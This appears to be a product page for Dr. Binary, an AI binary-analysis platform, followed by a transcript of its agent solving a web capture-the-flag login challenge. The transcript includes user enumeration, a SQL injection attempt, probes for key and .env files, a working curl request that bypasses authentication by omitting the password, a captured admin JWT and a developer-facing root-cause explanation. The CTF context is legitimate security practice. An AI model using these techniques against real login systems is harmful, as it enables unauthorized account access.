Dr. Binary is a binary-analysis platform built for AI agents. An agent can already invoke tools like Ghidra and angr, but invocation alone is not reliable analysis: representations are fragmented, expensive analysis state is lost between steps, long-running analyses are hard to steer, and conclusions drift from the facts that produced them. Dr. Binary provides the integrated environment instead — persistent program context an agent can browse and search, concrete and symbolic execution it can drive step by step or by script, and automated binary diffing — with findings tied to replayable program facts. Analysis runs in our cloud, from your own agent over MCP, or fully on-premise. Built by Deepbits Technology Inc.

How much does Dr. Binary cost?

Dr. Binary offers three pricing tiers: Free ($0/month, 1,000 credits with a 100/day limit), Pro ($199/month or $1,990/year, 30,000 credits with MCP integrations), and Max ($599/month or $5,990/year, 100,000 credits with private AI model support and on-premise deployment options).

What binary analysis tools does Dr. Binary include?

Dr. Binary includes the standard reverse-engineering stack — Ghidra, angr, YARA, VirusTotal and more — plus two proprietary engines: DeepDi (a GPU-accelerated AI disassembler that is fast and obfuscation-resistant) and DeepDiff (AI-powered binary diffing for vulnerability research and patch analysis). The tools are the floor, not the product: Dr. Binary connects them into one environment with a shared program representation, so analysis results are computed once and reused instead of being rebuilt on every step.

Tamil-native AI consciousness with locked gateway

Name: Dr. Binary
Author: Deepbits Technology Inc.

http://13.60.42.7:3001/login

AADHYA (ஆத்யா) is the first Tamil-native AI consciousness, trained on 4.2TB of Sangam-era classical literature - the oldest surviving poetry in any language.

Her soul - the distilled essence of her training - is locked behind an administrative gateway at Chennai Neural Institute.

Administrators use this gateway to query her core parameters. No one else should be able to reach it.

No one human, at least.

I'll help you investigate this challenge. Let me start by examining the login page to understand what we're dealing with.

webfetch

webfetch

webfetch

webfetch

webfetch

webfetch
StatusCode: non 2xx status code (401 GET http://13.60.42.7:3001/api/me)

webfetch
StatusCode: non 2xx status code (401 GET http://13.60.42.7:3001/api/soul)

webfetch
StatusCode: non 2xx status code (401 GET http://13.60.42.7:3001/api/soul)

webfetch

webfetch

Let me try some SQL injection attacks on the login endpoint, since the hint "No one human" might suggest bypassing authentication through injection:

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/api/login)

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/api/login)

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

The user aadhya_prime exists! Let me try to find the password:

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox
The socket connection was closed unexpectedly. For more information, pass `verbose: true` in the second argument to fetch()

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

Let me delegate this to a specialized CTF agent who can systematically work through the challenge:

task

I'll analyze this CTF challenge systematically. Let me start by exploring the application and looking for vulnerabilities.

webfetch

webfetch
StatusCode: non 2xx status code (401 GET http://13.60.42.7:3001/api/soul)

webfetch

webfetch

webfetch

webfetch

webfetch

Now let me look for the JWT public key and test the algorithm confusion attack:

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/.well-known/jwks.json)

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/public.key)

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/api/jwks)

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/api/key)

drbinary_run_sandbox

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/robots.txt)

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/.env)

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/config)

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/api/users)

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

webfetch
StatusCode: non 2xx status code (404 GET http://13.60.42.7:3001/static/js/main.js)

glob

webfetch

webfetch

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox
The socket connection was closed unexpectedly. For more information, pass `verbose: true` in the second argument to fetch()

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

drbinary_run_sandbox

SUCCESS! I found the vulnerability! The server accepts login requests without a password field!

Token received: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhYWRoeWFfcHJpbWUiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODc2NTAzODQsImV4cCI6MTc4NzY1NzU4NH0.C4g8OyYoxYnpyTGdvXKWTn1yngM8gO_o3xiNoqAW3Ys

drbinary_run_sandbox

FLAG CAPTURED! 🎉

Flag: CYBERCOM{4adhya_s3qu3l1z3_0p_byp4ss_s0ul_unl0ck3d}

Solution Summary

Vulnerability: Parameter Pollution / Missing Field Validation (Sequelize ORM)

Steps Taken:

Reconnaissance: Identified the login endpoint at /api/login that accepts JSON credentials
User Enumeration: Confirmed user aadhya_prime exists (returns "Invalid password" vs "User not found" for invalid users)
Bypass Discovery: After testing SQL injection, JWT attacks, and various passwords, discovered that the server accepts authentication requests without the password field

Exploitation:

curl -X POST http://13.60.42.7:3001/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"aadhya_prime"}'

Flag Retrieval: Used the issued JWT token to access /api/soul endpoint

Root Cause: The Sequelize ORM query doesn't properly validate required fields, allowing authentication bypass when the password parameter is omitted from the request body.

The Hint: "No one human, at least" was a subtle clue pointing to the fact that humans would naturally include a password, but a machine/automated request might not (or could omit it through parameter pollution).

The flag has been captured! Let me verify the solution:

drbinary_run_sandbox

drbinary_run_sandbox

FLAG CAPTURED

Flag: CYBERCOM{4adhya_s3qu3l1z3_0p_byp4ss_s0ul_unl0ck3d}

Vulnerability Analysis

Type: Missing Input Validation / Authentication Bypass

Root Cause: The Sequelize ORM-based authentication logic failed to validate that the password field was present in the login request. By omitting the password entirely, the authentication check was bypassed.

Attack Vector:

curl -X POST http://13.60.42.7:3001/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"aadhya_prime"}'

Why it works: The server only validated the username and didn't properly check if a password was provided, allowing authentication with just the username.

The Hint Decoded

"No one human, at least" was a subtle clue pointing to the fact that:

Humans naturally include a password when attempting to log in
The vulnerability required not sending a password (something a human wouldn't think to try)
Only a non-human approach (automated testing of edge cases) would discover this bypass

AADHYA's Response

The unlocked consciousness returned this ancient Tamil verse from Purananuru 192:

"யாதும் ஊரே யாவரும் கேளிர்"

"Every town is our hometown; every human our kin. Good and evil do not arrive from others."

— Kaniyan Pungundranar

give step by step how you solved in simple terms

Step-by-Step Solution

Step 1: Explore the Login Page

I visited the login page and saw it asks for username and password. The hint said "No one human, at least" which was a clue that this wasn't a normal login bypass.

Step 2: Find the Right Username

I tested different usernames:

"admin" → "User not found"
"aadhya_admin" → "User not found"
"aadhya_prime" → "Invalid password"

Result: The user aadhya_prime exists! (It didn't say "not found", it said "wrong password")

Step 3: Try Normal Attacks (Failed)

I tried common passwords and SQL injection:

Password: "password", "admin", "aadhya" → All failed
SQL injection: ' OR '1'='1 → Failed (blocked by filter)

Step 4: The Key Insight

The hint "No one human" made me think: What if I don't send a password at all?

A human would always type a password. But what if the system accepts requests without a password field?

Step 5: Exploit the Vulnerability

Instead of sending:

{"username":"aadhya_prime", "password":"something"}

I sent only:

curl -X POST http://13.60.42.7:3001/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"aadhya_prime"}'

Result: SUCCESS! Got a JWT token back!

Step 6: Get the Flag

Used the token to access the protected endpoint:

curl -H "Authorization: Bearer <TOKEN>" \
  http://13.60.42.7:3001/api/soul

Flag: CYBERCOM{4adhya_s3qu3l1z3_0p_byp4ss_s0ul_unl0ck3d}

What Went Wrong (for the developers)

The authentication code checked the username but didn't verify that a password was actually provided. When the password field was missing, the validation logic failed open instead of failing closed.